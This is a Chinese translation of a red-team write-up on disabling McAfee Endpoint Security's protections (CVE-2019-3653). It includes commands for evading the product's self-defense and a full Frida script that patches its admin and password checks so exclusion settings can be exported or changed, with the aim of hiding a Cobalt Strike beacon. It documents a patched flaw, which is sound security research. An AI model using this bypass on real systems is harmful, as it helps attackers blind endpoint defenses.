怎样卸载迈克菲,如何禁用mcafee杀毒软件

利用Mcafee管理工具绕过McAfee杀毒软件

介绍这篇文章是关于我在一次红队活动中如何利用McAfee工具绕过McAfee Endpoint Security杀毒软件的故事。本来我没有计划写这篇文章,但当时的队友@fsdominguezand和@_dirkjan觉得此事值得被记录下来。现在,就让我们开始吧。McAfee在以往,每当我们遇到McAfee Virus Scan Enterprise(VSE)的时候,都可以通过简单地查询注册表,了解到那些位置是管理员指定的“特殊位置”(不受杀毒软件影响)。

然而,在这次任务中,事情没那么简单。因为他们使用的是McAfee Endpoint Security,从VSE时代到现在,McAfee可能认为最好不要将“特殊位置”之类的信息以明文形式存储在任何人都可阅读的文件中。

那么,我们现在该把恶意文件放在哪里?ESConfigToolMcAfee Endpoint Security杀毒软件附带一个名为ESConfigTool的程序,可用于导入和导出配置文件。它的详细用法如下。

我们发现,要从McAfee Endpoint Security得知安全设置,你需要:解锁密码管理权限很遗憾这两者我们都没有。

现在,先让我们下载一个试用版本的McAfee Endpoint Security,看看是否有入手点。

变化我们最后决定还是以ESConfigTool为目标,看看它是否有漏洞。我先创建了三个“特殊位置”:C:\Windows\Temp\*mimikatz.exeC:\TotallyLegit\

还设置了密码保护:starwars。

打开一个cmd,看看我们是否可以得到这些设置信息。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock starwars /plaintextCommand executed successfully. Please refer to Endpoint Security logs for detailsC:\Windows\system32>让我们打开xml文件,看看是否有敏感信息:

C:\Windows\Temp\031110**\*mimikatz.exe030110C:\TotallyLegit\031110是的,在拥有管理员权限以及输入了正确密码的情况下,你可以得到安全设置。让我们通过x64dbg软件,看一下它的整体流程。Self-defense通常使用调试软件打开二进制文件是很简单的,但由于我们面对的是安全软件,所以有一些额外的障碍。一个重要的原因是,McAfee的大部分组件都有“自卫”功能。如果你尝试使用调试软件,将立即得到一个Debugging stopped消息,McAfee对这种可疑行为极为敏感。

 

12/10/2019 12:47:09 mfeesp(2204.6392) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.12/10/2019 12:47:09 mfeesp(2204.5404) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.看来我们首先需要绕过这种自我防御机制。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>mkdir \tempC:\Users\admin>cd \tempC:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll” . 1 file(s) copied.C:\temp>没错,只要像如上所述疯狂复制文件,你就可以绕过自我防御,对软件进行调试。现在,让我们开始调试吧

绕过密码检查先让我们看看当使用错误的密码时会发生什么,也许会有一些字符提示:

C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock startrek /plaintextThere were some errors while executing command. Please refer to Endpoint Security logs for detailsC:\Windows\system32>嗯,没什么特别的。不过McAfee的日志文件提供了更多信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed让我们在调试器中搜索特定字符串,看看能否找到这个错误的来源。

 

现在我们把这个位置设为断点,再运行一次,看看在断点之前发生了什么。我们可以看到一个函数调用了一个名为BLInvokeMethod的东西,后面还跟着一个没有执行的跳转:

 

此时,我们有两个选择:进入密码检查函数,看看它是如何工作的,并尝试破解密码。直接更改检查函数的返回值。因为我很懒,我所以选择了第2项。当输入错误的密码时,密码检查函数会将错误代码放入RAX寄存器:

如果提供了正确的密码,则RAX寄存器的值为0

那么,如果我们提供了错误的密码,将密码检查函数中断,并将RAX寄存器的值改为0,会发生什么情况呢?

成功导出设置!

看来密码检查只是由工具本身完成的,不牵涉其他组件,也不需要解密。绕过管理员权限在没有管理员权限的情况下,ESConfigTool工具能使用的功能是非常有限的:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\user>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\temp\Export.xml /module TP /unlock starwars /plaintextDescription: Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE: ESConfigTool.exe /export [/module <TP|FW|WC|ESP> ] [/unlock ] [/plaintext ] ESConfigTool.exe /import [/module <TP|FW|WC|ESP> ] [/unlock ] [/policyname ] ESConfigTool.exe /helpC:\Users\user>我们怎样才能知道权限检查的流程呢?先让我们以普通用户的身份运行调试器,看看会发生什么。发现它调用一个函数,并对返回值进行字符串比较,如果返回代码不是0,则调用“exit”。

如果追踪这个函数,会发现它将最终调用AllocateAndInitializeSid。不过这些都不值得花时间去逆向。让我们再次尝试偷懒的方法更改函数返回值。

返回值检查如下:

这一次返回值必须是0以外的任何值。

OK,又成功了!

我们现在可以从McAfee Endpoint Security导出安全设置,不需要管理权限,不需要知道正确的密码!自动运行到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在Frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!

那么我们如何将Frida注入到McAfee呢?很简单,frida-server。只需在运行McAfee的机器上启动它,然后使用Python进行连接。McAfee机器:Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>cd \tempC:\temp>frida-server-12.7.9-windows-x86_64.exePython机器:Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> import frida>>> devmgr = frida.get_device_manager()>>> devmgr.add_remote_device(‘192.168.31.150′)Device(id=”tcp@192.168.31.150″, name=”192.168.31.150″, type=’remote’)>>> rdev = frida.get_device(‘tcp@192.168.31.150’)>>> args = [… ‘ESConfigTool.exe’,… ‘/export’,… ‘frida-export.xml’,… ‘/module’,… ‘ESP’,… ‘/unlock’,… ‘startrek’,… ‘/plaintext’… ]>>> pid = rdev.spawn(args)>>> session = rdev.attach(pid)>>> sessionSession(pid=11168)现在我们已经连接上,ESConfigTool.exe也正在运行!

现在我们可以将JS代码注入到ESConfigTool进程中。Frida脚本我不会详细介绍这个脚本的功能,其完整代码如下:

const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);//const adminCheck = configbase.add(0x5240); //32const adminCheck = configbase.add(0x5f30); //64const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)console.log(‘[-] base address is:’,configbase);console.log(‘[-] Admin check is:’,adminCheck);console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);Interceptor.attach(adminCheck, { onEnter: function (args) { console.log(‘[+] Hooked admin check function’); }, onLeave: function (retval) { console.log(‘[+] Returning true for admin check’); retval.replace(1); }});Interceptor.attach(BLInvokeMethod, { onEnter: function (args) { console.log(‘[+] Hooked BLInvokeMethod function’); }, onLeave: function (retval) { console.log(‘[+] Patching password check function’); retval.replace(0x0); }});这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:

>>> script = “””… const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);… //const adminCheck = configbase.add(0x5240); //32… const adminCheck = configbase.add(0x5f30); //64… const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)… … console.log(‘[-] base address is:’,configbase);… console.log(‘[-] Admin check is:’,adminCheck);… console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);… … Interceptor.attach(adminCheck, {… onEnter: function (args) {… console.log(‘[+] Hooked admin check function’);… },… onLeave: function (retval) {… console.log(‘[+] Returning true for admin check’);… retval.replace(1);… }… });… … Interceptor.attach(BLInvokeMethod, {… onEnter: function (args) {… console.log(‘[+] Hooked BLInvokeMethod function’);… },… onLeave: function (retval) {… console.log(‘[+] Patching password check function’);… retval.replace(0x0);… }… });… … “””>>> session.create_script(script).load()[-] base address is: 0x7ff73ed30000[-] Admin check is: 0x7ff73ed35f30[-] BLInvokeMethod: 0x7ffa4d759730>>> rdev.resume(pid)>>> [+] Hooked admin check function[+] Returning true for admin check[+] Hooked BLInvokeMethod function[+] Patching password check function>>>最终结果如下:

虽然我是作为“admin”用户运行的,但是没有涉及UAC。相信我,这套方法也适用于普通用户。后续现在,我们就可以把一个Cobalt Strike beacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。

值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的McAfee软件进行查看。

McAfee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为CVE-2019-3653。

如果你想了解更多,可以在这里找到PoC脚本。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://dmaasland.github.io/posts/mcafee.html

原文:https://www.loosebyte.com/google-cloud-vulnerability/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本站部分内容由互联网用户自发贡献,该文观点仅代表作者本人,本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。

如发现本站有涉嫌抄袭侵权/违法违规等内容,请联系我们举报!一经查实,本站将立刻删除。

(0)

相关推荐

  • 四环素牙美白,牙齿四环素牙怎么美白

    很多患有四环素牙的准爸爸、准妈妈会担心四环素牙会遗传,因为他们知道四环素牙影响牙齿美观,也担心宝宝没有一口健康的牙齿。 那么,四环素牙会遗传吗? 四环素牙是一种常见的给人们带来很大困扰的色素牙,主要成因是四环素在牙齿中的沉淀。儿童时期用药会更加明显,药物进入身体,色素在牙釉质和牙本质之间形成黄色层,牙齿在阳光下会显得更加发黄。随着时间的积累,牙齿色泽会越来越…

    2023-07-08
  • 网络创业执行力的重要性

    人生中生命能力是最重要的呢?我的回答是行动的能力,有很多人因为不知道该做事情而盲目的行动而而失败了,而有的人明明知道怎么做,却不知道行动,或是因为懒,或是因为怕麻烦,总之,原因有很多。 最终的结果就是事情到最后就不了了之,真正能够让我们改变,变得和过去不一样的并不是思想,而是行动,唯有行动才能给自己带来信心和勇气。 唯一能给你带来生活改变的东西是你做事,而不…

    2022-04-22
  • sap用户权限管理,权限管理哪些需要关闭

    SAP系统中有着严谨的权限管控,本文将介绍SAP权限管理的基本概念。   1、常用的事务代码: SU01 – User Maintenance (用户信息维护) SU10 – User Mass Maintenance (批量维护) PFCG – Role Maintenance (角色维护) SU21 – Maintain Authoriztio…

    2023-07-09
  • 韩国素媛凶手什么时候出来(韩国素媛凶手现在怎么样了)

    据韩国纽西斯通讯社消息,当地时间12日凌晨,韩国素媛案主犯赵斗淳结束12年刑期后刑满出狱。 韩媒曝光了赵斗淳抵达安山后的照片,他头发灰白、戴着口罩,手里紧握橘子,正被押送至保护观察所。 赵斗淳 纽西斯通讯社 图源:韩媒 据韩国JTBC新闻报道,服刑期间,赵斗淳曾多次在请愿书中称自己对于犯罪当时的情况什么都记不起来,还表示“恳切地希望一定要和受害者见面”。 报…

    2022-01-02
  • 吉林市走失女孩(女子独自走在偏僻的小路)

    4月10日晚7时许,吉林省吉林市一名10岁女孩尧尧对妈妈说“要出去玩会儿”,结果走到了松花江上的雾凇大桥,此后与家人失联。截至4月15日下午,女孩的亲友、当地警方、蓝天救援队和热心市民已经连续搜寻5天,仍然没有任何确切信息。 吉林市公安局相关工作人员告诉南都记者,目前警方已向全市派出所发出寻人公告,昌邑分局成立了专案组进行立案调查,正通过不间断地查看监控录像…

    2023-05-30
  • 质量最好的笔记本(性价比最好的十大笔记本电脑)

    在选择笔记本时,学习、办公、游戏娱乐都是要考量的因素,所以本期笔记本推荐清单我们就为大家介绍一些9月份值得买的笔记本,5款游戏本+5款轻薄本,来看看有没有适合你的吧。 01 荣耀MagicBook X 15 2021 参考价格:3999元 产品配置: i5 10210U 8GB 512GB多屏协同 产品链接点击下方 MagicBook X 15整机采用全金属…

    投稿 2021-11-24
  • 怼钟南山的沈佳欣是什么人,沈佳欣事件处理结果

    近日女艺人沈佳欣在微博上公开质疑钟南山院士,引发了网络热议 经过多日的发酵,沈佳欣也是遭到了相关的处罚,女方本人的相关微博被禁言15天,而且还遭到了众多网友的声讨,但让人没想到的是,她不仅不道歉认错,相反还变本加厉 钟老最大的贡献就是:**30个人里有一个患者,死亡20几万。再看看中国的,疫情全面控制,大家的生产生活恢复到正常,就知道钟南山和医学家所做的贡献…

    2022-05-04 投稿
  • 摩拜微信解绑退押金(摩拜退押金入口没有了)

      – 7月5日,摩拜宣布在全国运营的城市可以免押金骑行。摩拜方面表示,广州市民可以退掉299元押金,也能轻松骑共享单车了。 – 此后的三天里,大批用户开始登录APP退押金,但本报接到市民投诉,称押金退还套路多。还有不少用户反映退押金时过于心急,没看清软件提示,因为操作失误而购买了摩拜单车的半年骑行卡,只能退回199元押金。…

    投稿 2022-05-09
  • 暮光堡垒副本入口怎么找(暮光堡垒入口在哪)

    当克苏恩被击杀,玩家也顺带解放了密室口的这三条巨龙,他们在后续的剧情中起到了非常重要的推动作用,甚至贯穿整个魔兽世界的主要版本,今天我们就来聊聊他们的故事。 堕落者亚雷戈斯   亚雷戈斯是魔法之王玛里苟斯的亲儿子,在安其拉副本中,玩家可以在使用源质矿石+其拉帝王武器来兑换武器。 在回到了蓝龙族的亚雷戈斯深居简出,直到玛里苟斯因为不知名的原因,突然执…

    2022-01-17 投稿
  • 无锡贷款中介(无锡贷款中介公司)

    10月14日,银保监会发布风险提示称,贷款市场上,有一些非法中介假冒银行名义,打着正规机构、无抵押、无担保、低息免费、洗白征信等虚假宣传的旗号,诱导消费者办理贷款,其实这些诱人条件的背后是高额收费、贷款骗局等套路陷阱。这些不法行为侵害了消费者的合法权益,也扰乱了市场秩序。银保监会消费者权益保护局发布风险提示,提醒有借款需求的广大消费者,要选择正规机构办理贷款…

    投稿 2023-05-24
  • 笔记本内存1g,旧电脑卡顿怎么升级硬件

    最近有朋友问老杨,自己有台老笔记本电脑,想用来看盘,但用起来卡的难受,还经常有小圆圈。有没有办法拯救一下,成本尽量小一点。 答案肯定是,有办法,而且仅仅需要百元足矣。 老电脑升级,最简便的方法有两个“升级内存”和“升级固态硬盘”。 但这两个升级需要两个前提。其一升级内存,需要确定你的电脑有活动内存插槽。即原内存条是可以插拔的。部分老式笔记本的内存是直接焊接在…

    2023-06-25
  • 小型电脑,微型台式电脑主机推荐

    任何一种电子产品出现在市场中,都不可能得到所有用户的喜欢,只要有一半以上的消费者喜欢,这种产品就是成功的,微型台式电脑也是面临着两极分化的消费者,喜欢微型台式电脑的特别喜欢,对于微型台式电脑可以说是趋之若鹜,对这种电脑光猫一般大小的体积,能够满足用户携带电脑出行的目的,同时对这种电脑节省空间赞不绝口。但不喜欢微型台式电脑的却是避之不及,认为微型台式电脑性能不…

    2023-06-30